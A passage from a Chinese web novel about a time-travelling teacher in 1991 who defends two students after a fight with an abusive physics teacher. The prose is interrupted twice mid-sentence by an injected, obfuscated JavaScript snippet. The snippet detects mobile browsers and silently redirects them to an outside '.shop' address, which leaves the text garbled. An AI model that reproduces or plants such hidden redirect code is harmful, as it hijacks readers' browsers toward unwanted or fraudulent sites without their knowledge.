——而这份工作相对来说比较稳定,是她目前所能找到的、最好的工作。 “老师你看,连你都说不清楚,对吧?”徐湛垂下眼帘,声音更低了,“我也想要去过三毛那样的人生。” 徐嘉禾看着少年眼中的迷茫和执拗,心中微动。 其实,徐嘉禾在高中时也有过类似的困惑,只是后来被现实和成绩推着走,渐渐就不愿再花时间去深究这些无用的问题了。 她安慰自己,你不过是侥幸成为了一个有思维的智人而已,本质上还是动物。 作为动物,你的任务只有从自然界中摄取足够的、可供生存的热量,再为自己找到一个可以御寒的住所,这就是你生存的全部意义。 然而,或许无论是哪个时代,十来岁的少年都会经历这样的、对自己的灵魂发出的深深的拷问。 “现实世界确实有很多不如意的地方,”徐嘉禾斟酌着,“但文字之所以动人,是因为它来自于生活又超脱于生活。如果完全脱离现实,文字也会失去力量。” 她顿了顿,看着徐湛:“就像三毛写撒哈拉,那些地方事实上充满苦难,但因为你是通过三毛的文字而看到的、有了她的眼睛和她的心灵,你才会觉得那个世界那么特别。” 其实,这也是徐嘉禾对徐湛读三毛唯一可能存在担忧的一点。 三毛的情感太浓烈、她眼中的世界太有趣,心思敏感又思虑深重的人很容易被感她所染,从而对现实世界越发地迷茫与怀疑、对理想世界越发地向往与追求。 徐湛抬起头,今天第一次认真地注视着徐嘉禾。 “徐湛,你有很好的文学天赋和一颗敏感的心,这很好,”徐嘉禾温和地说,“但,好的作者不是逃避现实,而是在理解了现实后,用自己的方式重新诠释它。” 徐湛呆呆地看着徐嘉禾,似乎在理解她话里的含义。他不说话了,只是把怀里的书抱得更紧了些。 租书店里人来人往的嘈杂声仿佛被隔绝在了他们这个小小的角落之外,高处的气窗透进午后温暖的光线,灰尘在光柱里浮动。 “你有想过让你的文字被更多的人看到吗?”徐嘉禾看着徐湛,忽然想起她曾在父亲书房的角落看过的小说手稿,忽然灵机一动。 虽然只有几个开头,但徐嘉禾当时还颇为好奇地看过那几部小说,但她从来没有看到他真正写完过。 徐湛困惑地看着她:“被更多的人看到?” “比如投稿,”徐嘉禾说,“现在很多报纸杂志都有收录各式各样的投稿,你的文笔和很多发表出来的文章比都不差,其实可以去投一投。” 这件事情,徐湛还从来没有想过。他的眼睛亮了亮,随即又陷入了自我怀疑:“……我怎么可能。” “有什么不可能的?”徐嘉禾挑眉,“你试过吗?” 徐湛摇摇头。 “那不就得了,没试过,怎么知道自己不行?”徐嘉禾语气轻松,“再说了,大不了就是被退稿,然后继续写呗。” “而且,写作这种事,有人看和没人看,是完全不一样的。”她顿了顿,观察着徐湛的表情,见他虽然仍低着头,但显然在认真听,便继续说,“哪怕只有一个人,因为你的文字而产生一点点共鸣,那种感觉都会很幸福。” 徐湛久久没有说话。 “我不知道怎么写那种适合投稿的文章。”终于,过了好一会儿,徐湛才盯着手中的三毛文选,小声说。 “我对自己的东西没有自信,如果投稿之后得不到正向反馈,我会开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117120|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑自己到底适不适合写作。与其这样,不如我自己闷头写,说不定还能保持写作的热情。” “那就写你想写的,不要把收到反馈当成写作的目的,而只是一个添头,”徐嘉禾想了想,“只需要一直记住,你是为了写而写,而不是为了什么别的而写就够了。” 徐嘉禾的话,在徐湛心头激起了前所未有的涟漪。 他一直是自己一个人默默写作,把自己纠结的想法和情绪倾诉于纸,从未想过这些文字会不会有除了他自己以外的其他读者。 “可是……投稿要给哪里?”徐湛迟疑地问,“我不知道哪些地方会收。” “这个简单,”徐嘉禾笑了,“全国那么多报纸杂志,很多都有征稿启事。你可以看看有没有适合你文风的报刊,把想投的稿子按地址寄过去就好了。” “如果你想的话,还可以把你写好的稿子拿给我帮你看一看、改一改。当然,我只能作为读者给你意见,我也不能保证,我写得一定就比你的好。” 徐湛抬头,看着徐嘉禾的眼睛。 她的眼神很诚恳,既没有敷衍,更没有那种大人惯常会有的、对孩子不切实际幻想会表现出的厌烦或不耐。 徐湛忽然很想去相信一下自己的新班主任:“徐老师,我想试一试。” “好,有这个心就是好的。”徐嘉禾颇为满意地点了点头,“那么,我就静待佳作了。” 眼见时间过去这么久,她因为一直在和徐湛聊天,自己要租什么样的书都还没想好,徐嘉禾也不准备继续打扰徐湛了,拍了拍他的肩,就准备转身离开。 “徐老师,”徐湛忽然开口,叫住了徐嘉禾,“你为什么要和我……” 他顿了顿:“还有我们,说这些?” 这个我们,就包含了很多人了。 徐嘉禾一时间有些不知道该怎么回答他,总不能说她如果不对他们好一点、对他们重视一点、她的未来就要完蛋了吧。 “因为你们都是好孩子啊,”思来想去,徐嘉禾保守地说,“不管现在怎么样,我都相信你们的未来会变得更好。” “未来……”徐湛重复了一遍这个词,他的眼神里却流露出了一种前所未有的悲伤与迷茫,“未来真的会变好吗?” 他的眼神,让徐嘉禾心头一震。 她知道未来几十年,国家的经济会腾飞,社会会剧变;这一代年轻人风险与机遇并存,个人命运也在时代浪潮中沉浮,只要站在风口,任何一个人都能够飞上天。 她也知道,眼前的少年会在命运的十字路口走向一个正确的方向,会考上不错的大学,会和他命定的爱人幸福地生活在一起,会有一份属于自己的事业,会成为一个有点啰嗦但无比爱家的丈夫和父亲。 但是,现在的徐湛,面对未来的迷茫又是真真切切地存在、不可被忽视的。 “如果你说会不会变好,我的回答是,会的。”徐嘉禾肯定地点头,“无论是你的未来,还是别的谁的未来,甚至是这个世界,都会变好,而且会变得比我们任何人目前所能够想象到的,还要好很多。” “虽然过程可能会有坎坷,但也一定是螺旋式上升的。” “甚至,你们这一代人,会亲眼见证,甚至亲身参与很多奇迹。” 11. 第 11 章 第二天是周一,早上刚起床,徐嘉禾的右眼皮就一直跳个不停。 虽说她一向不怎么相信这些玄学的东西,但说到要倒霉,徐嘉禾就不由自主地想到之前许晴的警告,心中不由得有些犯起了嘀咕。 左眼跳是她要发大财了,右眼跳是控制眼皮肌肉的神经不正常兴奋而导致的眼睑痉挛,徐嘉禾安慰自己。 相信科学、杜绝迷信,信则有、不信则无。 话是如此说,徐嘉禾在出门前,还是认认真真检查了一遍家里的门窗锁好了没有,又把自行车前后轮统统捏了一通,确认一切都正常才提心吊胆地上了路。 徐嘉禾今天骑车也格外小心,结果一直到她在学校停好了自行车、在班上看了一圈检查完早自习、最后走进办公室里自己的位置上坐下,也什么事情都没有发生。 果然是自己吓自己,徐嘉禾松了口气,不禁为自己的疑神疑鬼而有些好笑起来。 徐嘉禾的课是第三节,她作为班主任还得去管课间操,是以她只能趁着第一二节没课,赶紧把还没写完的教案补一补,再赶一下下午班主任会议的工作报告。 师范生就是这点不好,上学的时候掐着交作业的时间点赶作业、上班了也要赶着ddl补教案。徐嘉禾作为班主任要干的事情还更多,如果可以的话,她这辈子都不想再当班主任。 可惜,徐嘉禾作为好说话、好忽悠的新老师,就算不想评职称,也容易被推去班主任的火坑,而一旦接过了这个挑子,基本上就卸不下来了。 写得累了,徐嘉禾甩了甩酸软的手,抬头透过办公室的窗户往外看,窗外的天空是锦宁的冬天特有的白茫茫一片,看不到云也看不到天。 这种压抑的风景不仅没能让徐嘉禾心里松快一点,反而越发紧张了起来,她总觉得今天会有什么大事发生。 办公室里只剩下钢笔书写的沙沙声,徐嘉禾强迫自己将注意力集中在才写了一半不到的教案上,心中那点莫名的忧虑却一点没少,她都要开始怀疑自己是不是神经衰弱了。 第二节课才上了一半,原本平静的教学楼里忽然传来一阵骚动,紧接着就是走廊外急促而沉闷的脚步声,由远及近,似乎正朝着办公室的方向而来。 办公室的老师们有不少都颇为好奇地抬头,看向门口的方向。 徐嘉禾刚跟着抬起头,办公室的门被人一把推开,许晴几乎是连滚带爬地冲了进来,脸色发白,呼吸急促。 她冲着徐嘉禾尖叫,声音里都带上了着急的哭腔:“徐……徐嘉禾,你们班出大事了!” 许晴太着急,一时间连惯常用的“徐老师”的漂亮称呼都来不及说了。 徐嘉禾心里“咯噔”一声暗道不好,一上午的直觉终于应验了。 能让一向淡定的许晴慌张成这样,徐嘉禾都不敢想到底是遇到了多大的事。她猛地站起身,腿软了一下,椅子腿与地面摩擦发出了刺耳的声响:“出什么事了?” “你们班……你们班谢昭,和物理赵老师在走廊上打起来了!”许晴话都说不利索了,“两个男老师去拉都没把人拉开,你快去看看吧!” 徐嘉禾作为一个新老师,一上来就接手五班。大家都以为她是去献祭送人头的,结果人家花了一个月,愣是慢慢把这群学生带得好了一些。 徐嘉禾对五班孩子、特别是谢昭的用心程度,大家都有目共睹;许晴看在眼里,自然也替她真心换真心的成功高兴。 结果,今天就出了这么严重的教学事故。 许晴当然为徐嘉禾感觉焦急,但更多的,是感到一种真心错付的不值得。 许晴的话可谓是一石激起千层浪,办公室里的其他老师顿时哗然。 “赵老师?哪个赵老师?” “教五班物理的,赵志军吧?” “怎么敢打老师的?谢昭疯了吗?” “我早就说,五班这种班都烂到骨子里了,想改变他们纯自不量力吧……这下完了,惹了一身腥。” 徐嘉禾感觉到了一阵耳鸣,已经听不清周围的议论声具体在说什么了,只觉得一股热血直冲头顶。 这一刻,徐嘉禾真的很恨自己心理承受能力太强。 如果她能够在听到这个消息的一瞬间,立马双眼一闭晕死过去,她或许就能够被学校叫救护车拉去医院。 而不像现在这样,要直面这个血淋淋的事实。 别说现在是尚且保守的1991年了,就算是三十年后,出现学生打老师这种恶性事件,不说直接报警去警察局调解,挨个严重处分、甚至于直接被退学也都是有可能的。 她来不及再想,跌跌撞撞地冲出了办公室。 走廊上一片混乱,已有不少别的班的学生从窗户里探出头来往前看,交头接耳、指指点点。 他们见徐嘉禾这么慌张地往事发地跑,也猜得出她或许是当事人的班主任,顿时都安静了下来,只是用兴奋而惊异的眼神看着她。 徐嘉禾在一群人的目送中冲到了高二五班,教室门口已经围了一大圈人,有学生探头探脑地看,也有老师试图往里挤。喊叫声、劝架声和混乱的脚步声混合在一起,无比刺耳。 她连忙上前,拨开人群往里挤,映入眼帘的景象让徐嘉禾倒吸了一口冷气。 赵志军是个四五十岁的男老师,身材微胖,头剃得光光的,但冒出的胡茬已经是花白的了。 作为物理老师,赵志军确实教学经验丰富,但脾气出了名的差不说,三观还停留在几十年前。 他最是看不起五班这群差生,一贯是不会给他们什么好脸色看,动辄非打即骂。 五班学生也都不喜欢他,由于赵志军惯用一把刻了弟子规的厚木尺子体罚学生,五班学生还给了他个外号叫弟子规。 徐嘉禾对这些自然是略有所闻,但毕竟对方年龄已经上去了,还颇有些倚老卖老、自己要随心所欲不逾矩的意思。 徐嘉禾作为一个年轻班主任,也不好过多干涉科任老师的教学,只能成天到晚好声好气地哄着赵志军,求他在面对五班学生时稍微有点耐心。 只是没想到,她都这样了,仍然是酿成了祸端。 此刻,赵志军的眼镜歪在一边,脸上似乎有几道指甲抓出的微红的痕迹。 他都被两个男老师拉着了,却还是一个劲儿往前挣扎,脸红脖子粗地高高举着长长的“弟子规”,从上面绕过中间劝架的人,追着往对面人群里的谢昭脸上打:“反了!反了!这是个什么世道,学生还敢打老师了?” 他对面的谢昭同样相当狼狈,她早上整整齐齐的马尾这会儿已经彻底扯散了,衣袖上的扣子也被扯掉了一颗,嘴角似乎还破了皮,有血渗出来。 这会儿,吕晓杨正死死地抱着谢昭的腰,另一个男老师则努力拽着她的手臂。但她丝毫不顾两人的劝阻,一边抬手挥开要扇到自己脸上的“弟子规”,一边声音嘶哑地冲赵志军喊:“你算个什么东西?也配为人师表?” “开除!必须要把你给开除!”赵志军指着谢昭鼻子的“弟子规”都在抖,显然是气急了,“谢昭,你看看你自己现在 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他一边指着自己脸上几不可见的红痕,一边指着谢昭,俨然一副痛心疾首的样子:“去医院就不必了,但是徐老师啊,看看你们班这个混世魔王,现在都敢对老师动手了,以后到了社会上那可是要杀人的啊!” “事情是怎么回事,我会调查清楚,给赵老师一个满意的回复。”徐嘉禾也无力吐槽赵志军的逻辑都滑坡到哪里去了,只想赶紧先把这个大哥打发走,免得他继续激起五班的民愤。 她转头,冲两个扶着赵志军的老师勉强笑了笑:“麻烦二位先送赵老师去医务室休息一下,这里的情况我来处理。” 那两位老师颇为担忧地看了看徐嘉禾,又看了看还气得呼哧带喘、连叫带骂的赵志军,最终还是点了点头,半劝半拉地把赵志军带离了现场。 徐嘉禾这才转过身,身心俱疲地看着已经冷静下来、正一言不发盯着自己的谢昭,以及她身后眼睛红肿、吓得小声抽噎的吕晓杨。 说不失望、说不崩溃是假的,她本以为生活就此能够慢慢稳中向好、走向正轨,结果谢昭忽然给她捅出了一个这么大的篓子。 徐嘉禾在第一年教书的时候,其实遇到过类似的事情,甚至还没有谢昭这次严重;但那次之后,她就彻底失去了对教师这份职业的热情。 其实,徐嘉禾真的有期待过,如果她真的能够把五班带好、把谢昭和徐湛带回人生的正轨,她说不定能够重拾对教书育人的热爱、重新找到这份职业的意义。 只可惜,现实再次给了她沉重的一击。 “徐老师,”谢昭看着徐嘉禾疲惫而失望的眼神,忽然开口,声音很哑,语气复杂,“你也觉得我做错了,是吗?” 徐嘉禾看着谢昭,她应该说什么? 徐嘉禾确实对谢昭的所作所为感到失望透顶、认为谢昭如此冲动的行为大错特错。 可是,难道她能直接地说出来吗?她有这个资格什么都不问,就这样不分青红皂白、凭借着现在的结果直接审判谢昭吗? 她明明知道谢昭是一个什么样的人,也知道谢昭未来会成为一个什么样的人。 徐嘉禾目光扫过谢昭凌乱的头发和脸上的血迹,又看了看吕晓杨肿得比核桃还大的双眼,只感觉一阵无力和心疼。 “谢昭,吕晓杨,”最终,徐嘉禾吐了口气,声音平淡、听不出情绪,“你们两个跟我来办公室。” “其他人回班上上自习,我现在心情很不好,如果还有人敢在这个节骨眼上激怒我,你知道后果。” 12. 第 12 章 舍得一身剐 回到办公室,其他老师多半都去处理赵志军的事,或者看顾自己班上的纪律了,办公室里只有许晴正忧心忡忡地坐在工位上,等徐嘉禾回来。 她见徐嘉禾带着谢昭和吕晓杨进来,面上一喜,站起身来。 许晴本想说些什么,见三人都默不作声,欲言又止了一会儿,最终还是拿上自己的水杯离开了办公室,顺手还替他们掩上了办公室的门。 徐嘉禾感激地看了一眼她的背影,叹了口气,将自己摔进了椅子里。她一边揉着眉心,一边用下巴指了指旁边的两张椅子:“自己搬过来坐吧。” 谢昭倔强地站着,背挺得笔直,眼睛一眨不眨地看着徐嘉禾。吕晓杨抽噎着,怯生生地看了看徐嘉禾,又看了看谢昭,最后小心翼翼地坐了最前面那一小块板凳。 徐嘉禾也不强求她们俩立马听自己的,毕竟她自己也需要一点时间冷静下来,平复心头久久挥之不去的情绪。 于是,办公室就这样陷入了诡异的沉默。 三个人僵持了好半天,最终由于吕晓杨一直在坚持不懈地拽谢昭的衣角,少女终于抿着唇,在另一张板凳下坐下了。 “好了,”徐嘉禾感觉自己今天一天要把后十年的气给全部叹干净了,她递了一张纸给吕晓杨,语气尽量温和一些,“晓杨,擦擦眼泪……谢昭,到底发生了什么事?” 谢昭咬唇:“我……” “老师,”她这样温柔地说话,吕晓杨的眼泪立马又要掉下来了。她带着哭腔开口,打断了谢昭刚说出口的话,“一切都和谢昭没有关系,事情是因为我而起的,你不要罚谢昭,要罚就罚我吧。” “怎么搞得跟要英勇就义了一样,你就这么不信任我?”徐嘉禾扶额,想了想,还是安抚性地摸了摸吕晓杨的头,“好了,还没说要罚你们呢,你得先从头跟我说,我才能判断是谁的错,你说对吗?” 吕晓杨拼命点头,吸了吸鼻子,努力控制自己的语调:“徐老师,是因为我……第二节物理课的时候,赵老师……赵老师他……” 她像是想起了什么极让人委屈的事情,整个人都昏昏沉沉的,说起话来有些颠三倒四。 她越着急着想要把话好好说,话就越堵在喉咙里、半天说不出来,只是眼泪掉得更凶了。 “我来说吧,”谢昭看着吕晓杨又气又急的样子,闭了闭眼,忽然开口,“赵志军那个老王八蛋,吕晓杨问了他一道题,他不耐烦地又讲了一遍,吕晓杨没听懂,他就发飙了。” “这倒是赵志军一贯的作风,”徐嘉禾不算太意外,不过她还是不太理解,为什么会闹到动手的地步,“但他不是一直这么讨人厌吗,为什么今天你爆发了?” “因为这老不死的说话太难听了,”谢昭现在回想起当时发生的事,都忍不住咬紧了牙,“他说吕晓杨蠢成这样还读什么书,赶紧回家找个人嫁了比较好,反正她估计这辈子都只能靠男人养着了。” 徐嘉禾睁大了眼睛,一开始还不敢相信自己听到了什么,但紧接着涌上来的,就是火山喷发般的怒意。 她看着谢昭的眼睛,像是要确认对方说的是真是假。谢昭毫不退缩地迎上她的目光,唇角甚至勾起了一抹嘲讽的微笑。 看,你也不知道,原来你让我们尊重的老师、甚至要为了维护他而不再相信我的老师,是这样的一个烂人吧? 吕晓杨哭得更大声了,是那种压抑了自己的委屈很久、终于找到一个发泄口释放出来的、充满了羞辱与痛苦的放声大哭。 “他还动手打了吕晓杨,说吕晓杨没出息,说她两句就受不住了。”谢昭像是没有看到徐嘉禾的脸色有多难看似的,语气飞快地说。 “我本来记得你说过的话,一直忍着;是他越来越过分了,一个个点着我们班女生的名骂,我才反驳他了两句。” 她说过的话?她说过了什么? 徐嘉禾回忆了一会儿,才想起自己第一次了解到赵志军的性格后,思考了很久该怎么让五班和赵志军和谐共处。 最后她对五班的学生们说:“赵老师年龄比较大,很多行为和思想是落后的,但我们没有办法改变这种根深蒂固的思想,所以你们当听不见就好,也不要去和他争辩了。” 谢昭没提她的话之前,徐嘉禾都快忘了自己还讲过这样一番话,但现在,她都开始觉得自己也不是人了。 “然后呢?”徐嘉禾声音淡淡的,但里面蕴含着的冷意让吕晓杨都忍不住抬头看她。 “然后?然后他就用尺子打我的嘴,说我不尊重他,”谢昭冷笑一声,摸了摸自己破皮的唇角,“我挨了两下受不了,伸手把他的尺子抓住了。” “然后赵志军就更生气了,说我挑衅他的权威,拽着我的衣领要把我拖出教室,说我不配上他的课。” “再然后,徐老师你也看到了。” 谢昭话音一落,办公室就陷入了一阵极其恐怖的安静。 其实徐嘉禾听完谢昭的话,第一反应是居然这就没了?谢昭居然只打这么轻,还是太乖巧听话了。 刚打出来的伤痕最开始还不明显,但时间一长,谢昭唇角边那个被戒尺打肿的印子就已经慢慢浮现了起来,痕迹触目惊心,一看就知道对面是下了多重的手。 徐嘉禾刚才还没什么感觉,现在看着那一片红印子,整个人都快心疼死了。 但她现在的身份不是徐嘉禾,更不是谢昭的女儿,她是一名班主任。 她现在要做的不是逞一时意气、给谢昭和吕晓杨报仇雪恨,而是合理地处理这起紧急事件,把可能对自己学生产生的影响压到最小。 “晓杨,”沉默了片刻,徐嘉禾深吸了一口气,看向吕晓杨,“今天的事情,你没有错,一点都没错,明白没有?” “可是,老师,是因为我,谢昭才和赵老师……”吕晓杨没有想到徐嘉禾会这么说,茫然又难以置信地看着她。 “不是因为你,”徐嘉禾打断她的话,“你只是向老师问了一个你不会的问题而已,这是好事情;为什么会发生争执,是因为赵志军控制不住自己的情绪还不负责任,听懂了没?” 吕晓杨似懂非懂地点了点头。 “至于你,谢昭……”徐嘉禾转向谢昭的方向。 谢昭立马坐直了身子,下巴微抬,一副“要杀要剐悉听尊便”的桀骜不驯模样。 “你觉得你做错了吗?”徐嘉禾像是没有看到她的攻击性一样,淡淡地问。 “我……”谢昭一时语塞,最终只是偏过头,倔强地说,“他该打,更何况我还没打他。” “我没说他不该打,说实话,我也想打他,”徐嘉禾慢条斯理地说,“但是,再怎么说也轮不到你来动手。你想,赵志军五十多岁的人了,成天这么小气,得有多少心脑血管疾病啊?” “万一你轻轻一还手,他立马发病了,躺地上讹你医药费,你怎么办?” “啊?”谢昭还完全没想过这一层。 她本来想说,都是当老师的人了,不至于这么不要脸吧,随即就想起赵志军的那些成为本次事件导火索的、震撼人心的发言。 她忽然就觉得,赵志军说不定还能更不要脸。 “再说了,你要是不还手,让他打你,到警察局那就是判他故意伤害,”徐嘉禾添油加醋,“但是你但凡还手了一下,那就是互殴,那就拿不到被打之后的损失费了,你说可不可惜?” 其实徐嘉禾已经开始胡诌了,她也不知道1991年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117122|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打架斗殴是不是这个判断标准,但能把没谢昭她们几个出过象牙塔的小屁孩唬住就行, 谢昭听着,深以为然地点头,甚至已经开始一脸可惜地畅想着那笔胎死腹中的补偿金了。 “所以,”徐嘉禾总结,“今天的事情,你们不是过错方,但是处理问题的方式有错误,才导致了如此严重的结果——你们承认吧?” 谢昭和吕晓杨都愣了愣,预想中的责怪和别的狂风暴雨,在徐嘉禾听了事情原委之后都没有到来。 甚至可以说,徐嘉禾坚定而直白地站在了她们的这一边。 谢昭的嘴唇动了动,但最终什么也没说,只是点了点头,算是承认了自己处理问题方式的不成熟。 徐嘉禾终于露出了今天的第一个笑容,她刚想说什么,办公室的门被人敲响了。 徐嘉禾心中一凛,清了清嗓子,沉声道:“请进。” 推门进来的是刘主任,他脸色铁青,目光在谢昭和吕晓杨身上厌恶地扫过,最后落在一瞬不瞬地盯着他的徐嘉禾的脸上。 “徐老师,”刘主任冷冷地说,“这件事情的影响非常恶劣,校领导已经知道这件事了。现在学校要召开紧急会议,专门处理此事,你把这两个学生带过去,领导要了解情况。” “顺便,”他顿了顿,“徐老师,你可能也需要好好解释一下,你对五班的管理与教育到底出了什么问题,才会导致这种恶性事件。” 吕晓杨的脸色白了,谢昭起身看着刘主任:“刘主任,这件事情是我的个人决定,和徐老师没有任何关系。” “谢昭,学校可不是外面,不兴你的那些江湖规矩,”刘主任冷哼,“你现在都不是完全民事行为能力人。” “我知道了,”和两个学生比起来,徐嘉禾就显得要镇定多了。她只是平静地回答,接着牵着吕晓杨冰凉颤抖的手站了起来,“谢昭,吕晓杨,我们走。” “哦对了,”三人跟着徐嘉禾走出办公室时,徐嘉禾像是想起来什么似的,低声冲谢昭说,“赵志军说什么?说吕晓杨未来要靠男人养?” 谢昭看着她,疑惑地点了点头,像是不知道为什么徐嘉禾要提这个似的。 “你找个机会,马上偷偷回五班一趟,我给你打掩护,”徐嘉禾冷笑,“你回去告诉他们,赵志军当年上大学的时候靠的是他爸的关系,他能来咱们这个学校教书是靠的他老丈人的关系。” “真的假的?”谢昭一听徐嘉禾这没头没尾的吩咐,就知道她想要以其人之道还治其人之身,眼睛都亮了 “我一个当老师的听到的八卦,自然千真万确。”徐嘉禾直视前方,面上不留一点破绽,“要说靠男人,他赵志军才是这辈子靠了两个男人吧?” “所以说,只有自己凡事都要靠男人,才会妄加揣测,觉得别人都要靠男人。” 谢昭脸上即将大仇得报的兴奋几乎控制不住,她随口找了个要去卫生间的理由,转过身带着消息向高二五班的教室飞奔而去。 这就是差班的好处了,班上的大家都爱玩,和外班的交集多、人缘也好。 徐嘉禾相信,不出一下午,赵志军的八卦就会传遍整个高二年级,就是不知道,觉得吕晓杨没出息的赵志军,他自己能不能承受得住闲言碎语的压力。 更何况,赵志军对吕晓杨的评价还是空穴来风的诬蔑,徐嘉禾放出去的消息只是实话实说而已啊! 至于接下来的将要面对的急风骤雨,徐嘉禾其实压根没有放在心上。 毕竟她压根不是这个时代的人,某种程度上来说,徐嘉禾既可以说已经是个死人、也可以说连胚胎都算不上。 光脚的不怕穿鞋的,她徐嘉禾舍得一身剐,敢把皇帝拉下马! 13. 第 13 章 校长办公室在行政楼三楼,平时很少有学生踏足这里,连空气都显得比教学楼里更加冰冷肃穆。 徐嘉禾有些好奇地左看右看,倒是吕晓杨拽着她的衣袖小声抽噎:“徐老师,对不起……” “没什么好对不起的,别害怕,”徐嘉禾轻轻捏了捏她的手安慰,“记住,待会儿只要没问到你们身上,就不要说话,一切有我呢。” 谢昭气喘吁吁地从后面追了上来,眼睛亮晶晶的,一看就是使坏成功了:“都办妥了,你们等着看好戏吧!” 徐嘉禾和吕晓杨对视了一眼,露出了意味深长的表情;刘主任则有些疑惑地看了谢昭一眼,不知道她在说什么。 他也没多想,只是摇了摇头,带头推开了校长办公室深红色的厚重木门。 长方形的大办公桌后面坐了四个人,一个是姓李的校长,一个是副校长胡丽华,一个是徐嘉禾没见过的领导。 剩下一个自然是赵志军了。 赵志军坐在靠门一侧的座位上,脸上贴了一个特别明显的创口贴,见徐嘉禾三人进来,立马重重地哼了一声,别过脸去不看他们。 他脸上那点痕迹估计早就消了,现在做出这幅架势,摆明了就是要卖惨。 “校长,涉事的学生带过来了,”刘主任让开位置,把徐嘉禾三人暴露在一群领导面前,“她们的班主任也来了。” “徐老师,”胡丽华冲徐嘉禾点了点头,语气还算好,“你们坐吧。” 徐嘉禾点了点头,让谢昭和吕晓杨坐下了,自己则站在她们俩身侧,挡住赵志军投来的愤恨的视线。 “今天发生的事情,性质非常恶劣,”李校长开门见山,“学生公然和教师发生肢体冲突,这是建校以来都罕见的严重违纪事件。徐老师,你作为班主任,你有什么要解释的?” “校长,还解释什么?就是这个女孩,这个叫谢昭的!”赵志军怒吼道,“让她退学啊!” “赵老师,”胡丽华皱眉,“我知道你很愤怒,但是请冷静一点,我们至少需要了解事情是由何而起的。” 赵志军气哼哼地看了胡丽华一眼,到底是忌惮她副校长的身份,收敛了许多。 徐嘉禾深吸一口气,缓缓开口。虽说她自己无所谓,但是一想到今天这番话说不定会决定谢昭的人生,她的手指还是有些发凉:“领导,事情发生后,我已经第一时间向两位当事学生了解了情况。” “但是,根据她们的陈述,”徐嘉禾看了眼赵志军,“事情的起因,是赵志军老师在课堂上公然对学生进行人格侮辱和体罚。” “胡说八道!”赵志军猛地一拍桌子,手指颤抖地指着徐嘉禾的鼻子,“徐嘉禾!你包庇谢昭是几个意思?明明是她先顶撞我的!” “赵老师,”徐嘉禾抬眼看他,“请您注意您的言辞,我只是在陈述事实,您说是谢昭顶撞您,那至少应该有个原因吧?” “有什么原因?谢昭不就是这种人吗?”赵志军怒道,“目无师长,害群之马!” “那您可就错了,”徐嘉禾摇头,转向校长,语气诚恳,“校长,我确实比较年轻,经验不足,接手五班也是临危受命。” “但这一个月,五班的进步,相信大家都能感觉得到。就拿谢昭同学来说,她从一个经常逃课的问题学生,到现在每天到校认真听课;吕晓杨同学也发挥课代表的带头作用,主动向老师提问,这是相当积极的学习态度。” “您想,本来已经在逐渐变好的学生,怎么可能无缘无故做出这么恶劣的事情呢?” 李校长其实不想听徐嘉禾说这些废话,他只想把这件丢人现眼的事情赶紧解决。 但他扫视了一圈周围,胡丽华若有所思地看着徐嘉禾,那位领导,后来徐嘉禾才知道那是教育局下来视察的周科长,此刻也饶有兴致地观察眼前这位班主任。 看样子,这两个人都不准备阻止徐嘉禾,李校长也就只能眉头紧锁,继续听徐嘉禾说下去。 赵志军被徐嘉禾的反问噎了一下,随即恼羞成怒:“原因?她们上课不专心,问些蠢问题耽误全班时间,我还不能说两句了?现在的学生,一点批评都受不了,都是你们这些年轻老师惯的!” “赵老师,什么问题是蠢问题?”徐嘉禾毫不退让,“作为老师,我们难道不应该去支持学生的求知欲吗?就算五班的学生基础稍微差一些,问了一些相对较为简单的问题,您也不应该用恶毒的语言和殴打来对待她们。” “徐老师的意思是,赵老师有不当行为在先?”胡丽华皱眉。 “你听她放屁!”赵志军一听胡丽华像是要质疑他了,忍不住大喊,“我教那么多年书,什么是不当行为,我不知道吗?” “赵老师,您先别激动啊。”徐嘉禾居然还笑得出来,她的语气甚至带上了安抚,但这反而更加让赵志军觉得自己被小瞧了,“是非曲直,我们让当事人把事情经过完整复述一遍,各位领导自有判断。” “谢昭,”她转过身,对谢昭说,“你把今天发生的所有事情完完整整地叙述一遍,不要带个人情绪,不要添油加醋。” 谢昭应了一声,上前把她给徐嘉禾说过的话又全部说了一遍。 谢昭一点都不怯场,说话口齿清楚、条理清晰,徐嘉禾在旁边听着,居然有种诡异的“吾家有女初长成”的欣慰感。 谢昭说到赵志军让吕晓杨“赶紧回家找个人嫁了”的时候,胡丽华的眉头紧紧皱了起来。 谢昭说到赵志军评价吕晓杨“这辈子都只能靠男人养着”的时候,周科长手指轻轻敲击桌面的声音戛然而止。 而当谢昭最后说到赵志军用尺子打她的嘴、拽着她的衣领要把她拖出教室时,李校长的脸色已经变得比锅底还要黑了。 赵志军的脸色由红转青,又由青转白。 周科长轻轻咳嗽一声,开口道:“徐老师,你的学生反映的情况,和赵老师说的,出入很大啊。” “就是说啊!”赵志军像是抓住了救命稻草似的,忙不迭地附和着,“再说了,我说的有错吗?五班这些学生,尤其是女生,有几个是读书的料?将来不就是……” “赵志军!”这次,徐嘉禾都还没有说话,胡丽华就厉声打断了他,脸上是毫不掩饰的厌恶,“注意你的言辞,你是人民教师!” 李校长的表情精彩纷呈,他之前也听过一些关于赵志军作风不正、行事粗鲁的反映,但没想到会严重到这种程度。 他心急如焚,偷偷看了一眼周科长,见周科长脸色也不太好看,更是坐立难安了起来。 徐嘉禾心说怎么会有赵志军这么蠢的人。 赵志军要是咬死不承认,说不定还能蒙混过关。 